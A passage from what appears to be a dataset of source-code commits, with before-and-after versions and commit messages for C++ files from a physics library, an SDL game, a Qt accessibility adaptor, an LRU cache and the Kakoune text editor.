DegreesOfFreedom<InertialFrame> const& secondary_degrees_of_freedom,\n    not_null<Rotation<InertialFrame, ThisFrame>*> const rotation,\n    not_null<AngularVelocity<InertialFrame>*> const angular_velocity) {\n  RelativeDegreesOfFreedom<InertialFrame> const reference =\n       secondary_degrees_of_freedom - primary_degrees_of_freedom;\n  Displacement<InertialFrame> const& reference_direction =\n      reference.displacement();\n  Velocity<InertialFrame> reference_normal = reference.velocity();\n  reference_direction.template Orthogonalize<Speed>(&reference_normal);\n  Bivector<Product<Length, Speed>, InertialFrame> const reference_binormal =\n      Wedge(reference_direction, reference_normal);\n  *rotation = Rotation<InertialFrame, ThisFrame>(Normalize(reference_direction),\n                                                 Normalize(reference_normal),\n                                                 Normalize(reference_binormal));\n  *angular_velocity = reference_binormal * Radian \/\n                      InnerProduct(reference_direction, reference_direction);\n}\n\n}  \/\/ namespace internal_body_centred_body_direction_dynamic_frame\n}  \/\/ namespace physics\n}  \/\/ namespace principia\n<commit_msg>Cleanup.<commit_after>﻿\n#pragma once\n\n#include \"physics\/body_centred_body_direction_dynamic_frame.hpp\"\n\n#include \"geometry\/barycentre_calculator.hpp\"\n#include \"geometry\/named_quantities.hpp\"\n#include \"geometry\/r3x3_matrix.hpp\"\n#include \"quantities\/quantities.hpp\"\n#include \"quantities\/si.hpp\"\n\nnamespace principia {\nnamespace physics {\nnamespace internal_body_centred_body_direction_dynamic_frame {\n\nusing geometry::Barycentre;\nusing geometry::Bivector;\nusing geometry::Displacement;\nusing geometry::R3x3Matrix;\nusing geometry::Velocity;\nusing geometry::Wedge;\nusing quantities::GravitationalParameter;\nusing quantities::Length;\nusing quantities::Pow;\nusing quantities::Product;\nusing quantities::Speed;\nusing quantities::si::Radian;\n\ntemplate<typename InertialFrame, typename ThisFrame>\nBodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\nBodyCentredBodyDirectionDynamicFrame(\n    not_null<Ephemeris<InertialFrame> const*> const ephemeris,\n    not_null<MassiveBody const*> const primary,\n    not_null<MassiveBody const*> const secondary)\n    : ephemeris_(ephemeris),\n      primary_(primary),\n      secondary_(secondary),\n      primary_trajectory_(ephemeris_->trajectory(primary_)),\n      secondary_trajectory_(ephemeris_->trajectory(secondary_)) {}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nRigidMotion<InertialFrame, ThisFrame>\nBodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\n    ToThisFrameAtTime(Instant const& t) const {\n  DegreesOfFreedom<InertialFrame> const primary_degrees_of_freedom =\n      primary_trajectory_->EvaluateDegreesOfFreedom(t, &primary_hint_);\n  DegreesOfFreedom<InertialFrame> const secondary_degrees_of_freedom =\n      secondary_trajectory_->EvaluateDegreesOfFreedom(t, &secondary_hint_);\n\n  Rotation<InertialFrame, ThisFrame> rotation =\n          Rotation<InertialFrame, ThisFrame>::Identity();\n  AngularVelocity<InertialFrame> angular_velocity;\n  ComputeAngularDegreesOfFreedom(primary_degrees_of_freedom,\n                                 secondary_degrees_of_freedom,\n                                 &rotation,\n                                 &angular_velocity);\n\n  RigidTransformation<InertialFrame, ThisFrame> const\n      rigid_transformation(primary_degrees_of_freedom.position(),\n                           ThisFrame::origin,\n                           rotation.Forget());\n  return RigidMotion<InertialFrame, ThisFrame>(\n             rigid_transformation,\n             angular_velocity,\n             primary_degrees_of_freedom.velocity());\n}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nvoid BodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\nWriteToMessage(not_null<serialization::DynamicFrame*> const message) const {\n  auto* const extension =\n      message->MutableExtension(\n          serialization::BodyCentredBodyDirectionDynamicFrame::extension);\n  extension->set_primary(ephemeris_->serialization_index_for_body(primary_));\n  extension->set_secondary(\n      ephemeris_->serialization_index_for_body(secondary_));\n}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nnot_null<std::unique_ptr<\n    BodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>>>\nBodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::ReadFromMessage(\n    not_null<Ephemeris<InertialFrame> const*> const ephemeris,\n    serialization::BodyCentredBodyDirectionDynamicFrame const & message) {\n  return std::make_unique<BodyCentredBodyDirectionDynamicFrame>(\n      ephemeris,\n      ephemeris->body_for_serialization_index(message.primary()),\n      ephemeris->body_for_serialization_index(message.secondary()));\n}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nVector<Acceleration, InertialFrame>\nBodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\nGravitationalAcceleration(Instant const& t,\n                          Position<InertialFrame> const& q) const {\n  return ephemeris_->ComputeGravitationalAccelerationOnMasslessBody(q, t);\n}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nAcceleratedRigidMotion<InertialFrame, ThisFrame>\nBodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\nMotionOfThisFrame(Instant const& t) const {\n  DegreesOfFreedom<InertialFrame> const primary_degrees_of_freedom =\n      primary_trajectory_->EvaluateDegreesOfFreedom(t, &primary_hint_);\n  DegreesOfFreedom<InertialFrame> const secondary_degrees_of_freedom =\n      secondary_trajectory_->EvaluateDegreesOfFreedom(t, &secondary_hint_);\n\n  Vector<Acceleration, InertialFrame> const primary_acceleration =\n      ephemeris_->ComputeGravitationalAccelerationOnMassiveBody(primary_, t);\n  Vector<Acceleration, InertialFrame> const secondary_acceleration =\n      ephemeris_->ComputeGravitationalAccelerationOnMassiveBody(secondary_, t);\n\n  auto const to_this_frame = ToThisFrameAtTime(t);\n\n  \/\/ TODO(egg): TeX and reference.\n  RelativeDegreesOfFreedom<InertialFrame> const secondary_primary =\n      secondary_degrees_of_freedom - primary_degrees_of_freedom;\n  Displacement<InertialFrame> const& r = secondary_primary.displacement();\n  Velocity<InertialFrame> const& ṙ = secondary_primary.velocity();\n  Vector<Acceleration, InertialFrame> const r̈ =\n      secondary_acceleration - primary_acceleration;\n  AngularVelocity<InertialFrame> const& ω =\n      to_this_frame.angular_velocity_of_to_frame();\n  Variation<AngularVelocity<InertialFrame>> const\n      angular_acceleration_of_to_frame =\n          (Wedge(r, r̈) * Radian - 2 * ω * InnerProduct(r, ṙ)) \/\n          InnerProduct(r, r);\n\n  Vector<Acceleration, InertialFrame> const& acceleration_of_to_frame_origin =\n      primary_acceleration;\n  return AcceleratedRigidMotion<InertialFrame, ThisFrame>(\n             to_this_frame,\n             angular_acceleration_of_to_frame,\n             acceleration_of_to_frame_origin);\n}\n\ntemplate<typename InertialFrame, typename ThisFrame>\nvoid BodyCentredBodyDirectionDynamicFrame<InertialFrame, ThisFrame>::\nComputeAngularDegreesOfFreedom(\n    DegreesOfFreedom<InertialFrame> const& primary_degrees_of_freedom,\n    DegreesOfFreedom<InertialFrame> const& secondary_degrees_of_freedom,\n    not_null<Rotation<InertialFrame, ThisFrame>*> const rotation,\n    not_null<AngularVelocity<InertialFrame>*> const angular_velocity) {\n  RelativeDegreesOfFreedom<InertialFrame> const reference =\n       secondary_degrees_of_freedom - primary_degrees_of_freedom;\n  Displacement<InertialFrame> const& reference_direction =\n      reference.displacement();\n  Velocity<InertialFrame> reference_normal = reference.velocity();\n  reference_direction.template Orthogonalize<Speed>(&reference_normal);\n  Bivector<Product<Length, Speed>, InertialFrame> const reference_binormal =\n      Wedge(reference_direction, reference_normal);\n  *rotation = Rotation<InertialFrame, ThisFrame>(Normalize(reference_direction),\n                                                 Normalize(reference_normal),\n                                                 Normalize(reference_binormal));\n  *angular_velocity = reference_binormal * Radian \/\n                      InnerProduct(reference_direction, reference_direction);\n}\n\n}  \/\/ namespace internal_body_centred_body_direction_dynamic_frame\n}  \/\/ namespace physics\n}  \/\/ namespace principia\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n\/\/-----------------------------------------------------------------------------\n#include <SDL2\/SDL.h>\n\/\/-----------------------------------------------------------------------------\n#include \"parser_yaml\/parser_yaml.h\"\n#include \"log\/logger.h\"\n#include \"game.h\"\n#include \"gfx\/game_window.h\"\n\/\/-----------------------------------------------------------------------------\n\n\/\/-----------------------------------------------------------------------------\nint main(int argc, char* args[]) {\n\n\tLogger::getInstance()->writeError(\"Error\");\n\tLogger::getInstance()->writeInformation(\"Info\");\n\tLogger::getInstance()->writeWarning(\"Warning\");\n\n\t{\n\t\tGameWindow gameWin = GameWindow();\n\t\tgameWin.start();\n\t}\n\n\n\tLogger::getInstance()->writeInformation(\"Closing down\");\n\n\t\/\/\n\tdelete (Logger::getInstance());\n\t\/\/\n\texit(0);\n}\n\/\/-----------------------------------------------------------------------------\n<commit_msg>Así también se despacha en seguida<commit_after>#include <iostream>\n#include <fstream>\n#include <string>\n#include <vector>\n\/\/-----------------------------------------------------------------------------\n#include <SDL2\/SDL.h>\n\/\/-----------------------------------------------------------------------------\n#include \"parser_yaml\/parser_yaml.h\"\n#include \"log\/logger.h\"\n#include \"game.h\"\n#include \"gfx\/game_window.h\"\n\/\/-----------------------------------------------------------------------------\n\n\/\/-----------------------------------------------------------------------------\nint main(int argc, char* args[]) {\n\n\tLogger::getInstance()->writeError(\"Error\");\n\tLogger::getInstance()->writeInformation(\"Info\");\n\tLogger::getInstance()->writeWarning(\"Warning\");\n\n\tGameWindow().start();\n\n\tLogger::getInstance()->writeInformation(\"Closing down\");\n\n\t\/\/\n\tdelete (Logger::getInstance());\n\t\/\/\n\texit(0);\n}\n\/\/-----------------------------------------------------------------------------\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * D-Bus AT-SPI, Qt Adaptor\n *\n * Copyright 2008, 2009      Nokia.\n * Copyright 2008, 2009      Codethink Ltd.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\/\n\n#include \"cache.h\"\n#include \"generated\/cache_adaptor.h\"\n\n#include \"bridge.h\"\n#include \"adaptor.h\"\n\n\n#define QSPI_OBJECT_PATH_CACHE \"\/org\/a11y\/atspi\/cache\"\n\n\nQSpiDBusCache::QSpiDBusCache(QObject* parent)\n    : QObject(parent)\n{\n    CacheAdaptor *adaptor;\n    adaptor = new CacheAdaptor(this);\n    QDBusConnection c = QSpiAccessibleBridge::instance()->dBusConnection();\n    c.registerObject(QSPI_OBJECT_PATH_CACHE, this, QDBusConnection::ExportAdaptors);\n}\n\nvoid QSpiDBusCache::emitAddAccessible(const QSpiAccessibleCacheItem& item)\n{\n    emit AddAccessible(item);\n}\n\nQSpiAccessibleCacheArray QSpiDBusCache::GetItems()\n{\n    QList <QSpiAccessibleCacheItem> cacheArray;\n\n    foreach (QSpiAdaptor* obj, spiBridge->cacheObjects()) {\n        cacheArray << obj->getCacheItem();\n    }\n    return cacheArray;\n}\n<commit_msg>Remove unneded temporary var.<commit_after>\/*\n * D-Bus AT-SPI, Qt Adaptor\n *\n * Copyright 2008, 2009      Nokia.\n * Copyright 2008, 2009      Codethink Ltd.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\/\n\n#include \"cache.h\"\n#include \"generated\/cache_adaptor.h\"\n\n#include \"bridge.h\"\n#include \"adaptor.h\"\n\n\n#define QSPI_OBJECT_PATH_CACHE \"\/org\/a11y\/atspi\/cache\"\n\n\nQSpiDBusCache::QSpiDBusCache(QObject* parent)\n    : QObject(parent)\n{\n    new CacheAdaptor(this);\n    QDBusConnection c = QSpiAccessibleBridge::instance()->dBusConnection();\n    c.registerObject(QSPI_OBJECT_PATH_CACHE, this, QDBusConnection::ExportAdaptors);\n}\n\nvoid QSpiDBusCache::emitAddAccessible(const QSpiAccessibleCacheItem& item)\n{\n    emit AddAccessible(item);\n}\n\nQSpiAccessibleCacheArray QSpiDBusCache::GetItems()\n{\n    QList <QSpiAccessibleCacheItem> cacheArray;\n\n    foreach (QSpiAdaptor* obj, spiBridge->cacheObjects()) {\n        cacheArray << obj->getCacheItem();\n    }\n    return cacheArray;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef RETRIEVER_CACHE_HPP\n#define RETRIEVER_CACHE_HPP\n\n#include \"list.hpp\"\n#include <memory>\n#include <shared_mutex>\n#include <unordered_map>\n\ntemplate <typename K, typename V> class CacheItem : public Item {\npublic:\n  CacheItem(K k, V v) : key(k), value(v){};\n  K key;\n  V value;\n};\n\ntemplate <typename K, typename V> class Cache {\npublic:\n  explicit Cache(const int capacity) : capacity(capacity) {\n    lookUpTable = std::unordered_map<K, CacheItem<K, V> *>(capacity);\n  };\n\n  void set(const K key, const V value) {\n    std::unique_lock<std::shared_mutex> lock(tableSMutex);\n\n    auto mapIt = lookUpTable.find(key);\n    if (mapIt == lookUpTable.end()) {\n      std::unique_ptr<CacheItem<K, V>> item(new CacheItem<K, V>(key, value));\n      if (lookUpTable.size() == capacity) {\n        auto toRemove = kList.back;\n        kList.remove(toRemove);\n        lookUpTable.erase(\n            lookUpTable.find(dynamic_cast<CacheItem<K, V> *>(toRemove)->key));\n      }\n      kList.pushFront(dynamic_cast<Item *>(item.get()));\n    } else {\n      auto item = mapIt->second;\n      item->value = value;\n      kList.moveToFront(dynamic_cast<Item *>(item.get()));\n    }\n  };\n\n  V get(const K key) {\n    std::shared_lock<std::shared_mutex> lock(tableSMutex);\n\n    auto mapIt = lookUpTable.find(key);\n    if (mapIt == lookUpTable.end()) {\n      return V();\n    }\n    kList.moveToFront(dynamic_cast<Item *>(mapIt->second->get()));\n    return mapIt->second->value;\n  };\n\nprivate:\n  Cache(){};\n\n  int capacity;\n  std::unordered_map<K, std::unique_ptr<CacheItem<K, V>>> lookUpTable;\n  std::shared_mutex tableSMutex;\n  List kList;\n};\n\n#endif\n<commit_msg>fix: initialize lookuptable with correct type<commit_after>#ifndef RETRIEVER_CACHE_HPP\n#define RETRIEVER_CACHE_HPP\n\n#include \"list.hpp\"\n#include <memory>\n#include <shared_mutex>\n#include <unordered_map>\n\ntemplate <typename K, typename V> class CacheItem : public Item {\npublic:\n  CacheItem(K k, V v) : key(k), value(v){};\n  K key;\n  V value;\n};\n\ntemplate <typename K, typename V> class Cache {\npublic:\n  explicit Cache(const int capacity) : capacity(capacity) {\n    lookUpTable =\n        std::unordered_map<K, std::unique_ptr<CacheItem<K, V>>>(capacity);\n  };\n\n  void set(const K key, const V value) {\n    std::unique_lock<std::shared_mutex> lock(tableSMutex);\n\n    auto mapIt = lookUpTable.find(key);\n    if (mapIt == lookUpTable.end()) {\n      std::unique_ptr<CacheItem<K, V>> item(new CacheItem<K, V>(key, value));\n      if (lookUpTable.size() == capacity) {\n        auto toRemove = kList.back;\n        kList.remove(toRemove);\n        lookUpTable.erase(\n            lookUpTable.find(dynamic_cast<CacheItem<K, V> *>(toRemove)->key));\n      }\n      kList.pushFront(dynamic_cast<Item *>(item.get()));\n    } else {\n      auto item = mapIt->second;\n      item->value = value;\n      kList.moveToFront(dynamic_cast<Item *>(item.get()));\n    }\n  };\n\n  V get(const K key) {\n    std::shared_lock<std::shared_mutex> lock(tableSMutex);\n\n    auto mapIt = lookUpTable.find(key);\n    if (mapIt == lookUpTable.end()) {\n      return V();\n    }\n    kList.moveToFront(dynamic_cast<Item *>(mapIt->second->get()));\n    return mapIt->second->value;\n  };\n\nprivate:\n  Cache(){};\n\n  int capacity;\n  std::unordered_map<K, std::unique_ptr<CacheItem<K, V>>> lookUpTable;\n  std::shared_mutex tableSMutex;\n  List kList;\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"client.hh\"\n\n#include \"face_registry.hh\"\n#include \"context.hh\"\n#include \"buffer_manager.hh\"\n#include \"buffer_utils.hh\"\n#include \"file.hh\"\n#include \"remote.hh\"\n#include \"option.hh\"\n#include \"option_types.hh\"\n#include \"client_manager.hh\"\n#include \"command_manager.hh\"\n#include \"event_manager.hh\"\n#include \"user_interface.hh\"\n#include \"window.hh\"\n#include \"hash_map.hh\"\n\n#include <csignal>\n#include <unistd.h>\n\n#include <utility>\n\nnamespace Kakoune\n{\n\nClient::Client(std::unique_ptr<UserInterface>&& ui,\n               std::unique_ptr<Window>&& window,\n               SelectionList selections, int pid,\n               EnvVarMap env_vars,\n               String name,\n               OnExitCallback on_exit)\n    : m_ui{std::move(ui)}, m_window{std::move(window)},\n      m_pid{pid},\n      m_on_exit{std::move(on_exit)},\n      m_input_handler{std::move(selections), Context::Flags::None,\n                      std::move(name)},\n      m_env_vars(std::move(env_vars))\n{\n    m_window->set_client(this);\n\n    context().set_client(*this);\n    context().set_window(*m_window);\n\n    m_window->set_dimensions(m_ui->dimensions());\n    m_window->options().register_watcher(*this);\n\n    m_ui->set_ui_options(m_window->options()[\"ui_options\"].get<UserInterface::Options>());\n    m_ui->set_on_key([this](Key key) {\n        if (key == ctrl('c'))\n            killpg(getpgrp(), SIGINT);\n        else if (key.modifiers & Key::Modifiers::Resize)\n        {\n            m_window->set_dimensions(key.coord());\n            force_redraw();\n        }\n        else\n            m_pending_keys.push_back(key);\n    });\n\n    m_window->hooks().run_hook(\"WinDisplay\", m_window->buffer().name(), context());\n\n    force_redraw();\n}\n\nClient::~Client()\n{\n    m_window->options().unregister_watcher(*this);\n    m_window->set_client(nullptr);\n    \/\/ Do not move the selections here, as we need them to be valid\n    \/\/ in order to correctly destroy the input handler\n    ClientManager::instance().add_free_window(std::move(m_window),\n                                              context().selections());\n}\n\nbool Client::is_ui_ok() const\n{\n    return m_ui->is_ok();\n}\n\nbool Client::process_pending_inputs()\n{\n    const bool debug_keys = (bool)(context().options()[\"debug\"].get<DebugFlags>() & DebugFlags::Keys);\n    \/\/ steal keys as we might receive new keys while handling them.\n    Vector<Key, MemoryDomain::Client> keys = std::move(m_pending_keys);\n    for (auto& key : keys)\n    {\n        try\n        {\n            if (debug_keys)\n                write_to_debug_buffer(format(\"Client '{}' got key '{}'\",\n                                             context().name(), key_to_str(key)));\n\n            if (key == Key::FocusIn)\n                context().hooks().run_hook(\"FocusIn\", context().name(), context());\n            else if (key == Key::FocusOut)\n                context().hooks().run_hook(\"FocusOut\", context().name(), context());\n            else\n                m_input_handler.handle_key(key);\n\n            context().hooks().run_hook(\"RawKey\", key_to_str(key), context());\n        }\n        catch (Kakoune::runtime_error& error)\n        {\n            write_to_debug_buffer(format(\"Error: {}\", error.what()));\n            context().print_status({ fix_atom_text(error.what().str()),\n                                     context().faces()[\"Error\"] });\n            context().hooks().run_hook(\"RuntimeError\", error.what(), context());\n        }\n    }\n    return not keys.empty();\n}\n\nvoid Client::print_status(DisplayLine status_line)\n{\n    m_status_line = std::move(status_line);\n    m_ui_pending |= StatusLine;\n}\n\n\nDisplayCoord Client::dimensions() const\n{\n    return m_ui->dimensions();\n}\n\nString generate_context_info(const Context& context)\n{\n    String s = \"\";\n    if (context.buffer().is_modified())\n        s += \"[+]\";\n    if (context.client().input_handler().is_recording())\n        s += format(\"[recording ({})]\", context.client().input_handler().recording_reg());\n    if (context.hooks_disabled())\n        s += \"[no-hooks]\";\n    if (not(context.buffer().flags() & (Buffer::Flags::File | Buffer::Flags::Debug)))\n        s += \"[scratch]\";\n    if (context.buffer().flags() & Buffer::Flags::New)\n        s += \"[new file]\";\n    if (context.buffer().flags() & Buffer::Flags::Fifo)\n        s += \"[fifo]\";\n    if (context.buffer().flags() & Buffer::Flags::Debug)\n        s += \"[debug]\";\n    return s;\n}\n\nDisplayLine Client::generate_mode_line() const\n{\n    DisplayLine modeline;\n    try\n    {\n        const String& modelinefmt = context().options()[\"modelinefmt\"].get<String>();\n        HashMap<String, DisplayLine> atoms{{ \"mode_info\", context().client().input_handler().mode_line() },\n                                           { \"context_info\", {generate_context_info(context()),\n                                                              context().faces()[\"Information\"]}}};\n        auto expanded = expand(modelinefmt, context(), ShellContext{},\n                               [](String s) { return escape(s, '{', '\\\\'); });\n        modeline = parse_display_line(expanded, context().faces(), atoms);\n    }\n    catch (runtime_error& err)\n    {\n        write_to_debug_buffer(format(\"Error while parsing modelinefmt: {}\", err.what()));\n        modeline.push_back({ \"modelinefmt error, see *debug* buffer\", context().faces()[\"Error\"] });\n    }\n\n    return modeline;\n}\n\nvoid Client::change_buffer(Buffer& buffer)\n{\n    if (m_buffer_reload_dialog_opened)\n        close_buffer_reload_dialog();\n\n    auto* current = &m_window->buffer();\n    m_last_buffer = contains(BufferManager::instance(), current) ? current : nullptr;\n\n    auto& client_manager = ClientManager::instance();\n    m_window->options().unregister_watcher(*this);\n    m_window->set_client(nullptr);\n    client_manager.add_free_window(std::move(m_window),\n                                   std::move(context().selections()));\n    WindowAndSelections ws = client_manager.get_free_window(buffer);\n\n    m_window = std::move(ws.window);\n    m_window->set_client(this);\n    m_window->options().register_watcher(*this);\n    m_ui->set_ui_options(m_window->options()[\"ui_options\"].get<UserInterface::Options>());\n\n    context().selections_write_only() = std::move(ws.selections);\n    context().set_window(*m_window);\n    m_window->set_dimensions(m_ui->dimensions());\n\n    m_window->hooks().run_hook(\"WinDisplay\", buffer.name(), context());\n    force_redraw();\n}\n\nstatic bool is_inline(InfoStyle style)\n{\n    return style == InfoStyle::Inline or\n           style == InfoStyle::InlineAbove or\n           style == InfoStyle::InlineBelow;\n}\n\nvoid Client::redraw_ifn()\n{\n    Window& window = context().window();\n    if (window.needs_redraw(context()))\n        m_ui_pending |= Draw;\n\n    DisplayLine mode_line = generate_mode_line();\n    if (mode_line.atoms() != m_mode_line.atoms())\n    {\n        m_ui_pending |= StatusLine;\n        m_mode_line = std::move(mode_line);\n    }\n\n    if (m_ui_pending == 0)\n        return;\n\n    auto& faces = context().faces();\n\n    if (m_ui_pending & Draw)\n        m_ui->draw(window.update_display_buffer(context()),\n                   faces[\"Default\"], faces[\"BufferPadding\"]);\n\n    const bool update_menu_anchor = (m_ui_pending & Draw) and not (m_ui_pending & MenuHide) and\n                                    not m_menu.items.empty() and m_menu.style == MenuStyle::Inline;\n    if ((m_ui_pending & MenuShow) or update_menu_anchor)\n    {\n        auto anchor = m_menu.style == MenuStyle::Inline ?\n            window.display_position(m_menu.anchor) : DisplayCoord{};\n        if (not (m_ui_pending & MenuShow) and m_menu.ui_anchor != anchor)\n            m_ui_pending |= anchor ? (MenuShow | MenuSelect) : MenuHide;\n        m_menu.ui_anchor = anchor;\n    }\n\n    if (m_ui_pending & MenuShow and m_menu.ui_anchor)\n        m_ui->menu_show(m_menu.items, *m_menu.ui_anchor,\n                        faces[\"MenuForeground\"], faces[\"MenuBackground\"],\n                        m_menu.style);\n    if (m_ui_pending & MenuSelect and m_menu.ui_anchor)\n        m_ui->menu_select(m_menu.selected);\n    if (m_ui_pending & MenuHide)\n        m_ui->menu_hide();\n\n    const bool update_info_anchor = (m_ui_pending & Draw) and not (m_ui_pending & InfoHide) and\n                                    not m_info.content.empty() and is_inline(m_info.style);\n    if ((m_ui_pending & InfoShow) or update_info_anchor)\n    {\n        auto anchor = is_inline(m_info.style) ?\n             window.display_position(m_info.anchor) : DisplayCoord{};\n        if (not (m_ui_pending & MenuShow) and m_info.ui_anchor != anchor)\n            m_ui_pending |= anchor ? InfoShow : InfoHide;\n        m_info.ui_anchor = anchor;\n    }\n\n    if (m_ui_pending & InfoShow and m_info.ui_anchor)\n        m_ui->info_show(m_info.title, m_info.content, *m_info.ui_anchor,\n                        faces[\"Information\"], m_info.style);\n    if (m_ui_pending & InfoHide)\n        m_ui->info_hide();\n\n    if (m_ui_pending & StatusLine)\n        m_ui->draw_status(m_status_line, m_mode_line, faces[\"StatusLine\"]);\n\n    auto cursor = m_input_handler.get_cursor_info();\n    m_ui->set_cursor(cursor.first, cursor.second);\n\n    m_ui->refresh(m_ui_pending | Refresh);\n    m_ui_pending = 0;\n}\n\nvoid Client::force_redraw()\n{\n    m_ui_pending |= Refresh | Draw | StatusLine |\n        (m_menu.items.empty() ? MenuHide : MenuShow | MenuSelect) |\n        (m_info.content.empty() ? InfoHide : InfoShow);\n}\n\nvoid Client::reload_buffer()\n{\n    Buffer& buffer = context().buffer();\n    try\n    {\n        reload_file_buffer(buffer);\n        context().print_status({ format(\"'{}' reloaded\", buffer.display_name()),\n                                 context().faces()[\"Information\"] });\n\n        m_window->hooks().run_hook(\"BufReload\", buffer.name(), context());\n    }\n    catch (runtime_error& error)\n    {\n        context().print_status({ format(\"error while reloading buffer: '{}'\", error.what()),\n                                 context().faces()[\"Error\"] });\n        buffer.set_fs_timestamp(get_fs_timestamp(buffer.name()));\n    }\n}\n\nvoid Client::on_buffer_reload_key(Key key)\n{\n    auto& buffer = context().buffer();\n\n    auto set_autoreload = [this](Autoreload autoreload) {\n        auto* option = &context().options()[\"autoreload\"];\n        \/\/ Do not touch global autoreload, set it at least at buffer level\n        if (&option->manager() == &GlobalScope::instance().options())\n            option = &context().buffer().options().get_local_option(\"autoreload\");\n        option->set(autoreload);\n    };\n\n    if (key == 'y' or key == 'Y' or key == Key::Return)\n    {\n        reload_buffer();\n        if (key == 'Y')\n            set_autoreload(Autoreload::Yes);\n    }\n    else if (key == 'n' or key == 'N' or key == Key::Escape)\n    {\n        \/\/ reread timestamp in case the file was modified again\n        buffer.set_fs_timestamp(get_fs_timestamp(buffer.name()));\n        print_status({ format(\"'{}' kept\", buffer.display_name()),\n                       context().faces()[\"Information\"] });\n        if (key == 'N')\n            set_autoreload(Autoreload::No);\n    }\n    else\n    {\n        print_status({ format(\"'{}' is not a valid choice\", key_to_str(key)),\n                       context().faces()[\"Error\"] });\n        m_input_handler.on_next_key(KeymapMode::None, [this](Key key, Context&){ on_buffer_reload_key(key); });\n        return;\n    }\n\n    for (auto& client : ClientManager::instance())\n    {\n        if (&client->context().buffer() == &buffer and\n            client->m_buffer_reload_dialog_opened)\n            client->close_buffer_reload_dialog();\n    }\n}\n\nvoid Client::close_buffer_reload_dialog()\n{\n    kak_assert(m_buffer_reload_dialog_opened);\n    \/\/ Reset first as this might check for reloading.\n    m_input_handler.reset_normal_mode();\n    m_buffer_reload_dialog_opened = false;\n    info_hide(true);\n}\n\nvoid Client::check_if_buffer_needs_reloading()\n{\n    if (m_buffer_reload_dialog_opened)\n        return;\n\n    Buffer& buffer = context().buffer();\n    auto reload = context().options()[\"autoreload\"].get<Autoreload>();\n    if (not (buffer.flags() & Buffer::Flags::File) or reload == Autoreload::No)\n        return;\n\n    const String& filename = buffer.name();\n    timespec ts = get_fs_timestamp(filename);\n    if (ts == InvalidTime or ts == buffer.fs_timestamp())\n        return;\n    if (reload == Autoreload::Ask)\n    {\n        StringView bufname = buffer.display_name();\n        info_show(format(\"reload '{}' ?\", bufname),\n                  format(\"'{}' was modified externally\\n\"\n                         \" y, <ret>: reload | n, <esc>: keep\\n\"\n                         \" Y: always reload | N: always keep\\n\",\n                         bufname), {}, InfoStyle::Modal);\n\n        m_buffer_reload_dialog_opened = true;\n        m_input_handler.on_next_key(KeymapMode::None, [this](Key key, Context&){ on_buffer_reload_key(key); });\n    }\n    else\n        reload_buffer();\n}\n\nStringView Client::get_env_var(StringView name) const\n{\n    auto it = m_env_vars.find(name);\n    if (it == m_env_vars.end())\n        return {};\n    return it->value;\n}\n\nvoid Client::on_option_changed(const Option& option)\n{\n    if (option.name() == \"ui_options\")\n    {\n        m_ui->set_ui_options(option.get<UserInterface::Options>());\n        m_ui_pending |= Draw;\n    }\n}\n\nvoid Client::menu_show(Vector<DisplayLine> choices, BufferCoord anchor, MenuStyle style)\n{\n    m_menu = Menu{ std::move(choices), anchor, {}, style, -1 };\n    m_ui_pending |= MenuShow;\n    m_ui_pending &= ~MenuHide;\n}\n\nvoid Client::menu_select(int selected)\n{\n    m_menu.selected = selected;\n    m_ui_pending |= MenuSelect;\n    m_ui_pending &= ~MenuHide;\n}\n\nvoid Client::menu_hide()\n{\n    m_menu = Menu{};\n    m_ui_pending |= MenuHide;\n    m_ui_pending &= ~(MenuShow | MenuSelect);\n}\n\nvoid Client::info_show(String title, String content, BufferCoord anchor, InfoStyle style)\n{\n    if (m_info.style == InfoStyle::Modal) \/\/ We already have a modal info opened, do not touch it.\n        return;\n\n    m_info = Info{ std::move(title), std::move(content), anchor, {}, style };\n    m_ui_pending |= InfoShow;\n    m_ui_pending &= ~InfoHide;\n}\n\nvoid Client::info_hide(bool even_modal)\n{\n    if (not even_modal and m_info.style == InfoStyle::Modal)\n        return;\n\n    m_info = Info{};\n    m_ui_pending |= InfoHide;\n    m_ui_pending &= ~InfoShow;\n}\n\n}\n<commit_msg>Obtain a new window for a client before releasing the current one<commit_after>#include \"client.hh\"\n\n#include \"face_registry.hh\"\n#include \"context.hh\"\n#include \"buffer_manager.hh\"\n#include \"buffer_utils.hh\"\n#include \"file.hh\"\n#include \"remote.hh\"\n#include \"option.hh\"\n#include \"option_types.hh\"\n#include \"client_manager.hh\"\n#include \"command_manager.hh\"\n#include \"event_manager.hh\"\n#include \"user_interface.hh\"\n#include \"window.hh\"\n#include 